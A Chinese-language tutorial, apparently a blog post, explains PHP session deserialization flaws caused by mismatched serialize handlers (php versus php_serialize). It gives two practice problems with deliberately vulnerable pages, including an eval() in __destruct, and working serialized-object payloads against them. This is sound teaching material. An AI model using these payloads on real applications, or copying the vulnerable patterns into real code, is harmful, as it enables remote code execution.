前言
关于session和cookie的关系
导读
什么是session?其实就是服务器为了保存用户状态而创建的一个保存用户信息的特殊对象,是存储在服务端的,有session那肯定就有sessionid了,他是怎么来的?当我们浏览器第一次访问服务器时,服务器创建一个session对象并且该对象有一个唯一的id,叫做sessionId,服务器会将sessionid以cookie的方式发送给浏览器,当浏览器再次访问服务器时,会将sessionId发送过来,服务器依据sessionId就可以找到对应的session对象,在这创建session对象的时候服务端先进行序列化再存储到session文件里(session文件就是专门保存序列化后的对象的),相反服务器依据sessionId找到对应的session对象的过程就是通过提取session文件来反序列化生成对象的,就是在这过程中就有可能产生session反序列化漏洞了, 前提条件使用不同的引擎来处理session文件,这个后面就会说 ,不同引擎什么鬼?其实就是用两种不同的方法序列化和反序列化对象,还有就是不同引擎怎么处理,说的比较普通点就是两个不同页面处理这个由客户端发来的sessionid的时候用了两种不同的方法序列化和反序列化对象,这样大家就理解了吧。
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)
存取数据的格式有多重,常用的有三种
漏洞产生:写入格式和读取格式不一致
处理器 | 对应的存储格式 |
---|---|
php | 键名+竖线+经过serialize()函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过serialize()函数序列化处理的数组 |
php_binary | 键名的长度对应的ASCII字符+键名+经过srialize()函数反序列化处理的值 |
php格式存储
php_serialize()存储格式
php_binary存储格式
对应长度的16进制数,benben是6,那么16进制就是06
PHP session反序列化例题
vul页面
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
session保存页面
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
一个
以ph,p_serialize的形式序列化存储数据,然后再通过php的形式反序列化来读取数据,就导致了session反序列化漏洞的产生,
构造符合php形式的payload:|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
在读取时会把O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}";}
进行反序列化,达到利用vul页面的效果。
例题2
vul
读取页面默认使用的是php格式存储
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
session存储
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
这题考查了两个地方,session反序列化和&引用符的使用
payload
<?php
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a->her=&$a->name;
echo serialize($a);
?>
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}